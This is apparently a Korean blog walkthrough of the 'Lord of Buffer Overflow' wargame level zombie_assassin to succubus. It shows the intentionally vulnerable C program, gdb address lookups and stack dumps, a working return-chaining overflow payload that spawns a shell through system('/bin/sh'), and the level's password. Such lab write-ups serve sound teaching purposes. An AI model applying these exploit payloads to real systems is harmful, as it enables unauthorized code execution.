zombie_assassin / no place to hide
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
DO 함수의 주소를 argv[1][44]~[47]까지 비교하고 있다. 함수 주소를 argv[1]에서 충분히 넘겨줄 수 있도록 buffer+48+100부터 0으로 초기화해 주는 것을 볼 수 있다. check 변수도 조건을 충족하려면 결국 DO부터 MO까지 거쳐가야 system 함수를 실행할 수 있다. 그리고 MO 함수 인자로 "/bin/sh"을 넘겨줘야한다. system 함수의 인자가 되기 때문이다.
[zombie_assassin@localhost zombie_assassin]$ gdb succubus2 -q
(gdb) p MO
$1 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) p YUT
$2 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p GYE
$4 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p DO
$5 = {<text variable, no debug info>} 0x80487ec <DO>
DO ~ MO까지 함수의 주소를 찾았다.
(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %ebp,%esp
(생략)
0x804874d <MO+41>: mov %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
system 함수의 인자로 ebp+8에 있는 값이 들어가고 있다.
(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
Starting program: /home/zombie_assassin/succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
(gdb) x/200x $ebp
(생략)
0xbffffbc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbe8: 0x41414141 0x41414141 0x080487ec 0x080487bc
0xbffffbf8: 0x0804878c 0x0804875c 0x08048724 0x42424242
0xbffffc08: 0x43434343 0x6e69622f 0x0068732f 0x3d445750
0xbffffc18: 0x6d6f682f 0x6f7a2f65 0x6569626d 0x7373615f
0xbffffc0c에 "/bin/sh"가 위치하고 있다. "CCCC"는 MO 함수의 인자이자 system 함수의 인자 대신 대입한 것이다. 그리고 MO 함수 어셈블리 코드에서 ebp+8 위치의 인자를 system 함수가 받아들인다 했기에 "/bin/sh"의 주소값 0xbffffc0c를 "CCCC" 자리에 대체할 것이다.
참고로 이전까진 코드를 짜서 "/bin/sh"의 주소를 알아냈었는데 주소엔 늘 \x40이 존재했다. 이 문제에선 \x40을 strchr 함수를 통해 필터링 하고 있기에 직접 "/bin/sh"를 argv[1]의 인자에 전달해서 "/bin/sh"의 주소를 찾아서 MO 함수 인자로 전달하는 것이다.
[zombie_assassin@localhost zombie_assassin]$ ./succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x0c\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
n/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffffa94: 0xbffffc0c 0x6e69622f 0x0068732f 0x08048808
0xbffffaa4: 0x00000002 0xbffffac4 0x0804839c 0x0804894c
0xbffffab4: 0x4000ae60 0xbffffabc 0x40013e90 0x00000002
0xbffffac4: 0xbffffbbe 0xbffffbca 0x00000000 0xbffffc1a
0xbffffad4: 0xbffffc34 0xbffffc4c 0xbffffc6b 0xbffffc8d
buffer | sfp | DO | GYE | GUL | YUT | MO | dummy | 0xbffffc0c | "/bin/sh" |
위 구조에서 DO ~ MO까지 차례로 ret하고 ebp+8에 인자가 필요하기에 dummy 하나 넣고 "/bin/sh"의 주소인 0xbffffc0c를 대입 후 MO 함수 인자로 쓰기 위해 "/bin/sh" 문자열을 직접 대입한다. 왜 DO부터 MO까지 실행되는지는 RTL Chain을 안다면 쉽게 이해될 것이다.
DO 함수 실행 후 GYE가 실행되는 과정을 간단히 살펴보면 DO 함수로 ret가 발생하여 스택에서 DO 함수 주소는 제거될 것이다. DO 함수의 프롤로그 과정에서 push ebp와 mov ebp, esp가 발생 후 에필로그 과정에서 leave 명령 실행 시 push 했던 ebp가 제거되고 ret 명령 실행 시 GYE 함수 주소로 리턴된다.
payload를 전달했는데 core dumped가 발생하여 보니 주소가 바뀌어 있다. 0xbffffc0c가 아닌 0xbffffa98에 "/bin/sh"가 존재한다. 이것만 수정하자.
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay
succubus의 비밀번호 here to stay
'Lord of Buffer Overflow' 카테고리의 다른 글
nightmare -> xavius (0) | 2023.02.03 |
---|---|
succubus -> nightmare (4) | 2023.02.03 |
assassin -> zombie_assassin (0) | 2023.02.01 |
giant -> assassin (0) | 2023.02.01 |
bugbear -> giant (0) | 2023.02.01 |